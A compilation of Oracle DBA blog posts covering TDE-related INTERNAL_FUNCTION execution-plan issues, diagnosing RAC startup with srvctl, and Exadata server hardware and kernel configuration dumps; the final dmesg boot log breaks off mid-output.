Internal_Function with Encryption in SQL PLAN

Sometimes,the columns are decrypted as a result and decrypt functions (appears as INTERNAL_FUNCTION in the execution plan) are applied on them, which can lead to poor approximations of column selectivity, leading to improper plans. This happens mostly when the encrypted columns are using SALT to encrypt the data, but it can happen for other reasons as well, including bugs.

Bug:7147087 AFTER ENABLING TDE, EXECUTION PLAN CHANGES FOR THE WORSE

and it can be recognized from the following symptoms:

1. both tables participating in a join have encrypted columns.
2. there is at least a join condition with encrypted columns at both ends.
3. the second table has an index on the join column(s).
4. the INTERNAL_FUNCTION is applied to the encrypted columns in the join in the second table and the execution plan that used to be an INDEX UNIQUE SCAN on the unenecrypted columns turns into an INDEX RANGE SCAN or FULL TABLE SCAN.

Scenario 2: Pushed Predicates

The second known TDE performance bug is the one when the queries are using pushed predicates on encrypted columns inside explicit or implicit views and the encrypted column values are decrypted to filter out the values instead of encrypting the pushed predicates. This situation is met when:

1. external predicates are pushed into views
2. the execution plan presents predicate of the form INTERNAL_FUNCTION(column) = ;

On the other hand, INTERNAL_FUNCTION may consume more memory and cpu than normal

[oracle@rh2 admin]$ pwd
/s01/oracle/product/11.2.0/dbhome_1/network/admin


[oracle@rh2 admin]$ cat sqlnet.ora 
ENCRYPTION_WALLET_LOCATION=
  (SOURCE=(METHOD=FILE)(METHOD_DATA=
    (DIRECTORY=/s01/wallet)))


SQL> ALTER SYSTEM SET ENCRYPTION KEY AUTHENTICATED BY "oracle";

System altered.



SQL> conn maclean/maclean
Connected.

SQL> create table enctab (t1 int encrypt);
Table created.

SQL> select * from enctab;

no rows selected


Execution Plan
----------------------------------------------------------
Plan hash value: 3026244987

----------------------------------------------------------------------------
| Id  | Operation         | Name   | Rows  | Bytes | Cost (%CPU)| Time     |
----------------------------------------------------------------------------
|   0 | SELECT STATEMENT  |        |     1 |    47 |     2   (0)| 00:00:01 |
|   1 |  TABLE ACCESS FULL| ENCTAB |     1 |    47 |     2   (0)| 00:00:01 |
----------------------------------------------------------------------------

Note
-----
   - dynamic sampling used for this statement (level=2)


Statistics
----------------------------------------------------------
          0  recursive calls
          0  db block gets
          0  consistent gets
          0  physical reads
          0  redo size
        330  bytes sent via SQL*Net to client
        512  bytes received via SQL*Net from client
          1  SQL*Net roundtrips to/from client
          0  sorts (memory)
          0  sorts (disk)
          0  rows processed

SQL> select * from enctab where t1=10;

no rows selected


Execution Plan
----------------------------------------------------------
Plan hash value: 3026244987

----------------------------------------------------------------------------
| Id  | Operation         | Name   | Rows  | Bytes | Cost (%CPU)| Time     |
----------------------------------------------------------------------------
|   0 | SELECT STATEMENT  |        |     1 |    47 |     2   (0)| 00:00:01 |
|*  1 |  TABLE ACCESS FULL| ENCTAB |     1 |    47 |     2   (0)| 00:00:01 |
----------------------------------------------------------------------------

Predicate Information (identified by operation id):
---------------------------------------------------

   1 - filter(INTERNAL_FUNCTION("T1")=10)

Note
-----
   - dynamic sampling used for this statement (level=2)


Statistics
----------------------------------------------------------
          1  recursive calls
          0  db block gets
          0  consistent gets
          0  physical reads
          0  redo size
        330  bytes sent via SQL*Net to client
        512  bytes received via SQL*Net from client
          1  SQL*Net roundtrips to/from client
          0  sorts (memory)
          0  sorts (disk)
          0  rows processed

SQL> desc enctab;
 Name                                      Null?    Type
 ----------------------------------------- -------- ----------------------------
 T1                                                 NUMBER(38) ENCRYPT


SQL> col WRL_PARAMETER for a20
SQL> set linesize 140
SQL> select * from V$ENCRYPTION_WALLET;

WRL_TYPE             WRL_PARAMETER        STATUS
-------------------- -------------------- ------------------
file                 /s01/wallet          OPEN


诊断RAC数据库的启动

上周为一位网友诊断了RAC数据库手动添加节点以后,所添加的节点可以手动startup,但是无法利用srvctl工具启动的问题。实际上是因为srvctl启动实例时优先使用的是ASM中的spfile,而手动startup则使用$ORACLE_HOME/dbs下的spfile,因为这位网友没有通过DBCA工具来添加实例,所以ASM中的spfile没有正确被配置。对于该类使用srvctl无法正常启动RAC数据库的”常见”问题,我们可以从以下几个方向入手:

1.使用”srvctl config database -d PROD -a”命令打印OCR中数据库的详细配置信息

[oracle@rh2 ~]$ srvctl  config database -d PROD -h

Displays the configuration for the database.

Usage: srvctl config database [-d  [-a] ] [-v]
    -d       Unique name for the database
    -a                       Print detailed configuration information
    -v                       Verbose output
    -h                       Print usage

[oracle@rh2 ~]$ srvctl  config database -d PROD -a
Database unique name: PROD
Database name: PROD
Oracle home: /s01/oracle/product/11.2.0/dbhome_1
Oracle user: oracle
Spfile: +DATA/PROD/spfilePROD.ora
Domain: 
Start options: open
Stop options: normal
Database role: PRIMARY
Management policy: MANUAL
Server pools: PROD
Database instances: PROD1,PROD2
Disk Groups: DATA
Mount point paths: 
Services: maclean,maclean_pre,maclean_taf
Type: RAC
Database is enabled
Database is administrator managed

可以看到以上PROD数据库在CRS管理时使用+DATA/PROD/spfilePROD.ora ASM内的spfile启动。

2.分析sqlnet.ora配置文件,该文件位于$ORACLE_HOME/network/admin目录下

3.分析$ORACLE_HOME/log//racg目录下的文件

Exadata Server Hardware Details

Exadata Server Hardware Details:

[oracle@maclean01 ~]$ cat /proc/cpuinfo
processor       : 0
vendor_id       : GenuineIntel
cpu family      : 6
model           : 26
model name      : Intel(R) Xeon(R) CPU           E5540  @ 2.53GHz
stepping        : 5
cpu MHz         : 2527.101
cache size      : 8192 KB
physical id     : 0
siblings        : 8
core id         : 0
cpu cores       : 4
apicid          : 0
fpu             : yes
fpu_exception   : yes
cpuid level     : 11
wp              : yes
flags           : fpu vme de pse tsc msr pae mce cx8 apic sep mtrr pge mca cmov pat pse36 clflush
dts acpi mmx fxsr sse sse2 ss ht tm syscall nx rdtscp lm constant_tsc ida nonstop_tsc pni monitor
ds_cpl vmx est tm2 cx16 xtpr popcnt lahf_lm
bogomips        : 5057.83
clflush size    : 64
cache_alignment : 64
address sizes   : 40 bits physical, 48 bits virtual
power management: [8]

[oracle@maclean01 ~]$ cat /proc/meminfo
MemTotal:     74027752 kB
MemFree:       3911016 kB
Buffers:        842416 kB
Cached:       48064504 kB
SwapCached:       4984 kB
Active:       46733632 kB
Inactive:     10013672 kB
HighTotal:           0 kB
HighFree:            0 kB
LowTotal:     74027752 kB
LowFree:       3911016 kB
SwapTotal:    16771852 kB
SwapFree:     16617108 kB
Dirty:           25944 kB
Writeback:           0 kB
AnonPages:     7832000 kB
Mapped:       29202808 kB
Slab:          1834104 kB
PageTables:   11127904 kB
NFS_Unstable:        0 kB
Bounce:              0 kB
CommitLimit:  53785728 kB
Committed_AS: 49850764 kB
VmallocTotal: 34359738367 kB
VmallocUsed:    290128 kB
VmallocChunk: 34359447675 kB
HugePages_Total:     0
HugePages_Free:      0
HugePages_Rsvd:      0
Hugepagesize:     2048 kB

[oracle@maclean01 ~]$ cat /etc/sysctl.conf
# Kernel sysctl configuration file for Red Hat Linux
#
# For binary values, 0 is disabled, 1 is enabled.  See sysctl(8) and
# sysctl.conf(5) for more details.

# Controls IP packet forwarding
net.ipv4.ip_forward = 0

# Controls source route verification
net.ipv4.conf.default.rp_filter = 1

# Do not accept source routing
net.ipv4.conf.default.accept_source_route = 0

# Controls the System Request debugging functionality of the kernel
kernel.sysrq = 1

# Controls whether core dumps will append the PID to the core filename
# Useful for debugging multi-threaded applications
kernel.core_uses_pid = 1

# Controls the use of TCP syncookies
net.ipv4.tcp_syncookies = 1

# Controls the maximum size of a message, in bytes
kernel.msgmnb = 65536

# Controls the default maxmimum size of a mesage queue
kernel.msgmax = 65536

# Controls the maximum shared segment size, in bytes
kernel.shmmax = 68719476736

# Controls the maximum number of shared memory segments, in pages
kernel.shmall = 4294967296

########### BEGIN DO NOT REMOVE Added by Oracle Exadata ###########
kernel.shmmni = 4096
kernel.sem = 250 32000 100 128
# bug 8311668 file-max and aio-max-nr
fs.file-max = 6815744
# DB install guide says the above
fs.aio-max-nr = 1048576
# 8976963
net.ipv4.neigh.bond0.locktime=0
net.ipv4.ip_local_port_range = 9000 65500
# DB install guide says the above
net.core.rmem_default = 4194304
net.core.wmem_default = 262144
net.core.rmem_max = 4194304
net.core.wmem_max = 2097152
# The original DB deployment was net.core.wmem_max = 1048586 but IB works
# best for Exadata at the above net.core settings
# bug 8268393 remove vm.nr_hugepages = 2048
# bug 8778821 system reboots after 60 sec on panic
kernel.panic=60
########### END DO NOT REMOVE Added by Oracle Exadata ###########

########### BEGIN DO NOT REMOVE Added by Oracle Exadata ###########
kernel.shmmax = 64547735961
kernel.shmall = 15758724
########### END DO NOT REMOVE Added by Oracle Exadata ###########

[oracle@maclean01 ~]$ cat /etc/security/limits.conf
# /etc/security/limits.conf
#
#Each line describes a limit for a user in the form:
#
#
#
#Where:
# can be:
#        - an user name
#        - a group name, with @group syntax
#        - the wildcard *, for default entry
#        - the wildcard %, can be also used with %group syntax,
#                 for maxlogin limit
#
# can have the two values:
#        - "soft" for enforcing the soft limits
#        - "hard" for enforcing hard limits
#
# can be one of the following:
#        - core - limits the core file size (KB)
#        - data - max data size (KB)
#        - fsize - maximum filesize (KB)
#        - memlock - max locked-in-memory address space (KB)
#        - nofile - max number of open files
#        - rss - max resident set size (KB)
#        - stack - max stack size (KB)
#        - cpu - max CPU time (MIN)
#        - nproc - max number of processes
#        - as - address space limit
#        - maxlogins - max number of logins for this user
#        - maxsyslogins - max number of logins on the system
#        - priority - the priority to run user process with
#        - locks - max number of file locks the user can hold
#        - sigpending - max number of pending signals
#        - msgqueue - max memory used by POSIX message queues (bytes)
#        - nice - max nice priority allowed to raise to
#        - rtprio - max realtime priority
#
#
#

#*               soft    core            0
#*               hard    rss             10000
#@student        hard    nproc           20
#@faculty        soft    nproc           20
#@faculty        hard    nproc           50
#ftp             hard    nproc           0
#@student        -       maxlogins       4

########### BEGIN DO NOT REMOVE Added by Oracle Deployment Scripts ###########

oracle     soft    nproc       2047
oracle     hard    nproc       16384
oracle     soft    nofile      65536
oracle     hard    nofile      65536

########### END DO NOT REMOVE Added by Oracle Deployment Scripts ###########
# End of file

[oracle@maclean01 ~]$ cat /etc/hosts
### Only  consider using this file if the customer does not have any DNS
# If the customer has DNS DO NOT USE THIS FILE
# you will have to decide on which scan address to uncomment - choose only  1

# Do not remove the following line, or various programs
# that require network functionality will fail.
127.0.0.1   localhost.localdomain   localhost

### Compute Node [eth0] Interface details
### Compute Node Client Access [bond1] Interface details
### Compute Node Client Access VIP [bond1] Interface details
### Compute Node Client Access SCAN [bond1] Interface details
### Cell Node Admin [eth0] Interface details
### Compute and Cell ILOM [ilom] Interface details
### Switches on Admin [eth0] Network
### Compute Node Private Interface details
### CELL Node Private Interface details
### Compute Node Private Interface details
### CELL Node Private Interface details
### Switch details
# The following 5 IP addresses are for reference only. You may
# not be able to reach these IP addresses from this machine

[oracle@maclean01 ~]$ /sbin/lspci
00:00.0 Host bridge: Intel Corporation X58 I/O Hub to ESI Port (rev 13)
00:01.0 PCI bridge: Intel Corporation X58 I/O Hub PCI Express Root Port 1 (rev 13)
00:02.0 PCI bridge: Intel Corporation X58 I/O Hub PCI Express Root Port 2 (rev 13)
00:03.0 PCI bridge: Intel Corporation X58 I/O Hub PCI Express Root Port 3 (rev 13)
00:07.0 PCI bridge: Intel Corporation X58 I/O Hub PCI Express Root Port 7 (rev 13)
00:09.0 PCI bridge: Intel Corporation X58 I/O Hub PCI Express Root Port 9 (rev 13)
00:13.0 PIC: Intel Corporation X58 I/O Hub I/OxAPIC Interrupt Controller (rev 13)
00:14.0 PIC: Intel Corporation X58 I/O Hub System Management Registers (rev 13)
00:14.1 PIC: Intel Corporation X58 I/O Hub GPIO and Scratch Pad Registers (rev 13)
00:14.2 PIC: Intel Corporation X58 I/O Hub Control Status and RAS Registers (rev 13)
00:14.3 PIC: Intel Corporation X58 I/O Hub Throttle Registers (rev 13)
00:16.0 System peripheral: Intel Corporation X58 Chipset QuickData Technology Device (rev 13)
00:16.1 System peripheral: Intel Corporation X58 Chipset QuickData Technology Device (rev 13)
00:16.2 System peripheral: Intel Corporation X58 Chipset QuickData Technology Device (rev 13)
00:16.3 System peripheral: Intel Corporation X58 Chipset QuickData Technology Device (rev 13)
00:16.4 System peripheral: Intel Corporation X58 Chipset QuickData Technology Device (rev 13)
00:16.5 System peripheral: Intel Corporation X58 Chipset QuickData Technology Device (rev 13)
00:16.6 System peripheral: Intel Corporation X58 Chipset QuickData Technology Device (rev 13)
00:16.7 System peripheral: Intel Corporation DMA Engine (rev 13)
00:1a.0 USB Controller: Intel Corporation 82801JI (ICH10 Family) USB UHCI Controller #4
00:1a.1 USB Controller: Intel Corporation 82801JI (ICH10 Family) USB UHCI Controller #5
00:1a.2 USB Controller: Intel Corporation 82801JI (ICH10 Family) USB UHCI Controller #6
00:1a.7 USB Controller: Intel Corporation 82801JI (ICH10 Family) USB2 EHCI Controller #2
00:1d.0 USB Controller: Intel Corporation 82801JI (ICH10 Family) USB UHCI Controller #1
00:1d.1 USB Controller: Intel Corporation 82801JI (ICH10 Family) USB UHCI Controller #2
00:1d.2 USB Controller: Intel Corporation 82801JI (ICH10 Family) USB UHCI Controller #3
00:1d.7 USB Controller: Intel Corporation 82801JI (ICH10 Family) USB2 EHCI Controller #1
00:1e.0 PCI bridge: Intel Corporation 82801 PCI Bridge (rev 90)
00:1f.0 ISA bridge: Intel Corporation 82801JIR (ICH10R) LPC Interface Controller
00:1f.2 SATA controller: Intel Corporation 82801JI (ICH10 Family) SATA AHCI Controller
00:1f.3 SMBus: Intel Corporation 82801JI (ICH10 Family) SMBus Controller
01:00.0 Ethernet controller: Intel Corporation 82575EB Gigabit Network Connection (rev 02)
01:00.1 Ethernet controller: Intel Corporation 82575EB Gigabit Network Connection (rev 02)
07:00.0 Ethernet controller: Intel Corporation 82575EB Gigabit Network Connection (rev 02)
07:00.1 Ethernet controller: Intel Corporation 82575EB Gigabit Network Connection (rev 02)
0d:00.0 RAID bus controller: LSI Logic / Symbios Logic Unknown device 0079 (rev 03)
19:00.0 InfiniBand: Mellanox Technologies MT26428 [ConnectX IB QDR, PCIe 2.0 5GT/s] (rev a0)
1f:05.0 VGA compatible controller: ASPEED Technology, Inc. AST2000 (rev 10)

[oracle@maclean01 ~]$ uname -a
Linux maclean01.shmcc.com 2.6.18-128.1.16.0.1.el5 #1 SMP Tue Jun 30 16:48:30 EDT 2009 x86_64 x86_64 x86_64 GNU/Linux

[oracle@maclean01 ~]$ uname -r
2.6.18-128.1.16.0.1.el5

[oracle@maclean01 ~]$ /sbin/lsusb
Bus 003 Device 006: ID 046b:ff10 American Megatrends, Inc.
Bus 003 Device 001: ID 0000:0000
Bus 005 Device 001: ID 0000:0000
Bus 005 Device 002: ID 0624:0307 Avocent Corp.
Bus 004 Device 001: ID 0000:0000
Bus 008 Device 001: ID 0000:0000
Bus 008 Device 002: ID 04b4:6560 Cypress Semiconductor Corp. CY7C65640 USB-2.0 "TetraHub"
Bus 006 Device 001: ID 0000:0000
Bus 007 Device 009: ID 046b:ff01 American Megatrends, Inc.
Bus 007 Device 001: ID 0000:0000
Bus 001 Device 001: ID 0000:0000
Bus 002 Device 001: ID 0000:0000  

[oracle@maclean01 ~]$ dmesg
Linux version 2.6.18-128.1.16.0.1.el5 (mockbuild@ca-build9.us.oracle.com) (gcc version 4.1.2 20080704 (Red Hat 4.1.2-44)) #1 SMP Tue Jun 30 16:48:30 EDT 2009
Command line: root=LABEL=oracle ro bootarea=oracle rhgb debug console=ttyS0,115200n8 console=tty1 crashkernel=128M@16M numa=off
BIOS-provided physical RAM map:
 BIOS-e820: 0000000000000000 - 000000000009ac00 (usable)
 BIOS-e820: 000000000009ac00 - 00000000000a0000 (reserved)
 BIOS-e820: 00000000000e0000 - 0000000000100000 (reserved)
 BIOS-e820: 0000000000100000 - 000000007f780000 (usable)
 BIOS-e820: 000000007f78e000 - 000000007f790000 type 9
 BIOS-e820: 000000007f790000 - 000000007f79e000 (ACPI data)
 BIOS-e820: 000000007f79e000 - 000000007f7d0000 (ACPI NVS)
 BIOS-e820: 000000007f7d0000 - 000000007f7e0000 (reserved)
 BIOS-e820: 000000007f7ec000 - 0000000080000000 (reserved)
 BIOS-e820: 00000000e0000000 - 00000000f0000000 (reserved)
 BIOS-e820: 00000000fee00000 - 00000000fee01000 (reserved)
 BIOS-e820: 00000000ffb00000 - 0000000100000000 (reserved)
 BIOS-e820: 0000000100000000 - 0000001280000000 (usable)
DMI present.
ACPI: RSDP (v002 SUN                                   ) @ 0x00000000000fa3e0
ACPI: XSDT (v001 SUN    Xxx70    0x20090619 MSFT 0x00000097) @ 0x000000007f790100
ACPI: FADT (v004 SUN    Xxx70    0x20090619 MSFT 0x00000097) @ 0x000000007f790290
ACPI: MADT (v002 SUN    Xxx70    0x20090619 MSFT 0x00000097) @ 0x000000007f790390
ACPI: MCFG (v001 SUN    Xxx70    0x20090619 MSFT 0x00000097) @ 0x000000007f7904c0
ACPI: SLIT (v001 SUN    Xxx70    0x20090619 MSFT 0x00000097) @ 0x000000007f790500
ACPI: SPMI (v005 SUN    Xxx70    0x20090619 MSFT 0x00000097) @ 0x000000007f790530
ACPI: OEMB (v001 SUN    Xxx70    0x20090619 MSFT 0x00000097) @ 0x000000007f79e040
ACPI: HPET (v001 SUN    Xxx70    0x20090619 MSFT 0x00000097) @ 0x000000007f79a580
ACPI: DMAR (v001 SUN    Xxx70    0x00000001 MSFT 0x00000097) @ 0x000000007f79e100
ACPI: SRAT (v001 SUN    Xxx70    0x00000001 INTC 0x00000001) @ 0x000000007f79a5c0
ACPI: SSDT (v001  SUN   Xxx70    0x00000012 INTL 0x20051117) @ 0x000000007f7a32b0
ACPI: EINJ (v001 SUN    Xxx70    0x20090619 MSFT 0x00000097) @ 0x000000007f79a790
ACPI: BERT (v001 SUN    Xxx70    0x20090619 MSFT 0x00000097) @ 0x000000007f79a920
ACPI: ERST (v001 SUN    Xxx70    0x20090619 MSFT 0x00000097) @ 0x000000007f79a950
ACPI: HEST (v001 SUN    Xxx70    0x20090619 MSFT 0x00000097) @ 0x000000007f79ab00
ACPI: DSDT (v002 SUN    Xxx70    0x00000002 INTL 0x20051117) @ 0x0000000000000000
NUMA turned off
Faking a node at 0000000000000000-0000001280000000
Bootmem setup node 0 0000000000000000-0000001280000000
On node 0 totalpages: 18605538
  DMA zone: 2602 pages, LIFO batch:0
  DMA32 zone: 503736 pages, LIFO batch:31
  Normal zone: 18099200 pages, LIFO batch:31
ACPI: PM-Timer IO Port: 0x808
ACPI: Local APIC address 0xfee00000
ACPI: LAPIC (acpi_id[0x01] lapic_id[0x00] enabled)
Processor #0 7:10 APIC version 21
ACPI: LAPIC (acpi_id[0x02] lapic_id[0x02] enabled)
Processor #2 7:10 APIC version 21
ACPI: LAPIC (acpi_id[0x03] lapic_id[0x04] enabled)
Processor #4 7:10 APIC version 21
ACPI: LAPIC (acpi_id[0x04] lapic_id[0x06] enabled)
Processor #6 7:10 APIC version 21
ACPI: LAPIC (acpi_id[0x05] lapic_id[0x10] enabled)
Processor #16 7:10 APIC version 21
ACPI: LAPIC (acpi_id[0x06] lapic_id[0x12] enabled)
Processor #18 7:10 APIC version 21
ACPI: LAPIC (acpi_id[0x07] lapic_id[0x14] enabled)
Processor #20 7:10 APIC version 21
ACPI: LAPIC (acpi_id[0x08] lapic_id[0x16] enabled)
Processor #22 7:10 APIC version 21
ACPI: LAPIC (acpi_id[0x09] lapic_id[0x01] enabled)
Processor #1 7:10 APIC version 21
ACPI: LAPIC (acpi_id[0x0a] lapic_id[0x03] enabled)
Processor #3 7:10 APIC version 21
ACPI: LAPIC (acpi_id[0x0b] lapic_id[0x05] enabled)
Processor #5 7:10 APIC version 21
ACPI: LAPIC (acpi_id[0x0c] lapic_id[0x07] enabled)
Processor #7 7:10 APIC version 21
ACPI: LAPIC (acpi_id[0x0d] lapic_id[0x11] enabled)
Processor #17 7:10 APIC version 21
ACPI: LAPIC (acpi_id[0x0e] lapic_id[0x13] enabled)
Processor #19 7:10 APIC version 21
ACPI: LAPIC (acpi_id[0x0f] lapic_id[0x15] enabled)
Processor #21 7:10 APIC version 21
ACPI: LAPIC (acpi_id[0x10] lapic_id[0x17] enabled)
Processor #23 7:10 APIC version 21
ACPI: LAPIC_NMI (acpi_id[0xff] high edge lint[0x1])
ACPI: IOAPIC (id[0x08] address[0xfec00000] gsi_base[0])
IOAPIC[0]: apic_id 8, version 32, address 0xfec00000, GSI 0-23
ACPI: IOAPIC (id[0x09] address[0xfec8a000] gsi_base[24])
IOAPIC[1]: apic_id 9, version 32, address 0xfec8a000, GSI 24-47
ACPI: INT_SRC_OVR (bus 0 bus_irq 0 global_irq 2 dfl dfl)
ACPI: INT_SRC_OVR (bus 0 bus_irq 9 global_irq 9 high level)
ACPI: IRQ0 used by override.
ACPI: IRQ2 used by override.
ACPI: IRQ9 used by override.
Setting APIC routing to clustered
ACPI: HPET id: 0xffffffff base: 0xfed00000
Using ACPI (MADT) for SMP configuration information
Nosave address range: 000000000009a000 - 000000000009b000
Nosave address range: 000000000009b000 - 00000000000a0000
Nosave address range: 00000000000a0000 - 00000000000e0000
Nosave address range: 00000000000e0000 - 0000000000100000
Nosave address range: 000000007f780000 - 000000007f78e000
Nosave address range: 000000007f78e000 - 000000007f790000
Nosave address range: 000000007f790000 - 000000007f79e000
Nosave address range: 000000007f79e000 - 000000007f7d0000
Nosave address range: 000000007f7d0000 - 000000007f7e0000
Nosave address range: 000000007f7e0000 - 000000007f7ec000
Nosave address range: 000000007f7ec000 - 0000000080000000
Nosave address range: 0000000080000000 - 00000000e0000000
Nosave address range: 00000000e0000000 - 00000000f0000000
Nosave address range: 00000000f0000000 - 00000000fee00000
Nosave address range: 00000000fee00000 - 00000000fee01000
Nosave address range: 00000000fee01000 - 00000000ffb00000
Nosave address range: 00000000ffb00000 - 0000000100000000
Allocating PCI resources starting at 88000000 (gap: 80000000:60000000)
SMP: Allowing 16 CPUs, 0 hotplug CPUs
Built 1 zonelists.  Total pages: 18605538
Kernel command line: root=LABEL=oracle ro bootarea=oracle rhgb debug console=ttyS0,115200n8
console=tty1 crashkernel=128M@16M numa=off
Initializing CPU#0
PID hash table entries: 4096 (order: 12, 32768 bytes)
Console: colour VGA+ 80x25
Dentry cache hash table entries: 16777216 (order: 15, 134217728 bytes)
Inode-cache hash table entries: 8388608 (order: 14, 67108864 bytes)
Checking aperture...
PCI-DMA: Using software bounce buffering for IO (SWIOTLB)
Placing software IO TLB between 0x150a1000 - 0x190a1000
Memory: 74025464k/77594624k available (2499k kernel code, 1462896k reserved, 1261k data, 200k init)
Calibrating delay using timer specific routine.. 5057.83 BogoMIPS (lpj=2528915)
Security Framework v1.0.0 initialized
SELinux:  Initializing.
SELinux:  Starting in permissive mode
selinux_register_security:  Registering secondary module capability
Capability LSM initialized as secondary
Mount-cache hash table entries: 256
CPU: L1 I cache: 32K, L1 D cache: 32K
CPU: L2 cache: 256K
CPU: L3 cache: 8192K
using mwait in idle threads.
CPU: Physical Processor ID: 0
CPU: Processor Core ID: 0
CPU0: Thermal monitoring enabled (TM1)
SMP alternatives: switching to UP code
ACPI: Core revision 20060707
Using local APIC timer interrupts.
result 3398092
Detected 3.398 MHz APIC timer.
SMP alternatives: switching to SMP code
Booting processor 1/16 APIC 0x2
Initializing CPU#1
Calibrating delay using timer specific routine.. 5053.96 BogoMIPS (lpj=2526984)
CPU: L1 I cache: 32K, L1 D cache: 32K
CPU: L2 cache: 256K
CPU: L3 cache: 8192K
CPU: Physical Processor ID: 0
CPU: Processor Core ID: 1
CPU1: Thermal monitoring enabled (TM1)
Intel(R) Xeon(R) CPU           E5540  @ 2.53GHz stepping 05
SMP alternatives: switching to SMP code
Booting processor 2/16 APIC 0x4
Initializing CPU#2
Calibrating delay using timer specific routine.. 5053.97 BogoMIPS (lpj=2526986)
CPU: L1 I cache: 32K, L1 D cache: 32K
CPU: L2 cache: 256K
CPU: L3 cache: 8192K
CPU: Physical Processor ID: 0
CPU: Processor Core ID: 2
CPU2: Thermal monitoring enabled (TM1)
Intel(R) Xeon(R) CPU           E5540  @ 2.53GHz stepping 05
SMP alternatives: switching to SMP code
Booting processor 3/16 APIC 0x6
Initializing CPU#3
Calibrating delay using timer specific routine.. 5053.89 BogoMIPS (lpj=2526948)
CPU: L1 I cache: 32K, L1 D cache: 32K
CPU: L2 cache: 256K
CPU: L3 cache: 8192K
CPU: Physical Processor ID: 0
CPU: Processor Core ID: 3
CPU3: Thermal monitoring enabled (TM1)
Intel(R) Xeon(R) CPU           E5540  @ 2.53GHz stepping 05
SMP alternatives: switching to SMP code
Booting processor 4/16 APIC 0x10
Initializing CPU#4
Calibrating delay using timer specific routine.. 5054.01 BogoMIPS (lpj=2527005)
CPU: L1 I cache: 32K, L1 D cache: 32K
CPU: L2 cache: 256K
CPU: L3 cache: 8192K
CPU: Physical Processor ID: 1
CPU: Processor Core ID: 0
CPU4: Thermal monitoring enabled (TM1)
Intel(R) Xeon(R) CPU           E5540  @ 2.53GHz stepping 05
SMP alternatives: switching to SMP code
Booting processor 5/16 APIC 0x12
Initializing CPU#5
Calibrating delay using timer specific routine.. 5054.01 BogoMIPS (lpj=2527007)
CPU: L1 I cache: 32K, L1 D cache: 32K
CPU: L2 cache: 256K
CPU: L3 cache: 8192K
CPU: Physical Processor ID: 1
CPU: Processor Core ID: 1
CPU5: Thermal monitoring enabled (TM1)
Intel(R) Xeon(R) CPU           E5540  @ 2.53GHz stepping 05
SMP alternatives: switching to SMP code
Booting processor 6/16 APIC 0x14
Initializing CPU#6
Calibrating delay using timer specific routine.. 5054.01 BogoMIPS (lpj=2527008)
CPU: L1 I cache: 32K, L1 D cache: 32K
CPU: L2 cache: 256K
CPU: L3 cache: 8192K
CPU: Physical Processor ID: 1
CPU: Processor Core ID: 2
CPU6: Thermal monitoring enabled (TM1)
Intel(R) Xeon(R) CPU           E5540  @ 2.53GHz stepping 05
SMP alternatives: switching to SMP code
Booting processor 7/16 APIC 0x16
Initializing CPU#7
Calibrating delay using timer specific routine.. 5054.02 BogoMIPS (lpj=2527010)
CPU: L1 I cache: 32K, L1 D cache: 32K
CPU: L2 cache: 256K
CPU: L3 cache: 8192K
CPU: Physical Processor ID: 1
CPU: Processor Core ID: 3
CPU7: Thermal monitoring enabled (TM1)
Intel(R) Xeon(R) CPU           E5540  @ 2.53GHz stepping 05
SMP alternatives: switching to SMP code
Booting processor 8/16 APIC 0x1
Initializing CPU#8
Calibrating delay using timer specific routine.. 5054.00 BogoMIPS (lpj=2527002)
CPU: L1 I cache: 32K, L1 D cache: 32K
CPU: L2 cache: 256K
CPU: L3 cache: 8192K
CPU: Physical Processor ID: 0
CPU: Processor Core ID: 0
CPU8: Thermal monitoring enabled (TM1)
Intel(R) Xeon(R) CPU           E5540  @ 2.53GHz stepping 05
SMP alternatives: switching to SMP code
Booting processor 9/16 APIC 0x3
Initializing CPU#9
Calibrating delay using timer specific routine.. 5054.01 BogoMIPS (lpj=2527005)
CPU: L1 I cache: 32K, L1 D cache: 32K
CPU: L2 cache: 256K
CPU: L3 cache: 8192K
CPU: Physical Processor ID: 0
CPU: Processor Core ID: 1
CPU9: Thermal monitoring enabled (TM1)
Intel(R) Xeon(R) CPU           E5540  @ 2.53GHz stepping 05
SMP alternatives: switching to SMP code
Booting processor 10/16 APIC 0x5
Initializing CPU#10
Calibrating delay using timer specific routine.. 5054.01 BogoMIPS (lpj=2527006)
CPU: L1 I cache: 32K, L1 D cache: 32K
CPU: L2 cache: 256K
CPU: L3 cache: 8192K
CPU: Physical Processor ID: 0
CPU: Processor Core ID: 2
CPU10: Thermal monitoring enabled (TM1)
Intel(R) Xeon(R) CPU           E5540  @ 2.53GHz stepping 05
SMP alternatives: switching to SMP code
Booting processor 11/16 APIC 0x7
Initializing CPU#11
Calibrating delay using timer specific routine.. 5054.01 BogoMIPS (lpj=2527006)
CPU: L1 I cache: 32K, L1 D cache: 32K
CPU: L2 cache: 256K
CPU: L3 cache: 8192K
CPU: Physical Processor ID: 0
CPU: Processor Core ID: 3
CPU11: Thermal monitoring enabled (TM1)
Intel(R) Xeon(R) CPU           E5540  @ 2.53GHz stepping 05
SMP alternatives: switching to SMP code
Booting processor 12/16 APIC 0x11
Initializing CPU#12
Calibrating delay using timer specific routine.. 5054.04 BogoMIPS (lpj=2527023)
CPU: L1 I cache: 32K, L1 D cache: 32K
CPU: L2 cache: 256K
CPU: L3 cache: 8192K
CPU: Physical Processor ID: 1
CPU: Processor Core ID: 0
CPU12: Thermal monitoring enabled (TM1)
Intel(R) Xeon(R) CPU           E5540  @ 2.53GHz stepping 05
SMP alternatives: switching to SMP code
Booting processor 13/16 APIC 0x13
Initializing CPU#13
Calibrating delay using timer specific routine.. 5054.01 BogoMIPS (lpj=2527008)
CPU: L1 I cache: 32K, L1 D cache: 32K
CPU: L2 cache: 256K
CPU: L3 cache: 8192K
CPU: Physical Processor ID: 1
CPU: Processor Core ID: 1
CPU13: Thermal monitoring enabled (TM1)
Intel(R) Xeon(R) CPU           E5540  @ 2.53GHz stepping 05
SMP alternatives: switching to SMP code
Booting processor 14/16 APIC 0x15
Initializing CPU#14
Calibrating delay using timer specific routine.. 5054.01 BogoMIPS (lpj=2527009)
CPU: L1 I cache: 32K, L1 D cache: 32K
CPU: L2 cache: 256K
CPU: L3 cache: 8192K
CPU: Physical Processor ID: 1
CPU: Processor Core ID: 2
CPU14: Thermal monitoring enabled (TM1)
Intel(R) Xeon(R) CPU           E5540  @ 2.53GHz stepping 05
SMP alternatives: switching to SMP code
Booting processor 15/16 APIC 0x17
Initializing CPU#15
Calibrating delay using timer specific routine.. 5053.94 BogoMIPS (lpj=2526973)
CPU: L1 I cache: 32K, L1 D cache: 32K
CPU: L2 cache: 256K
CPU: L3 cache: 8192K
CPU: Physical Processor ID: 1
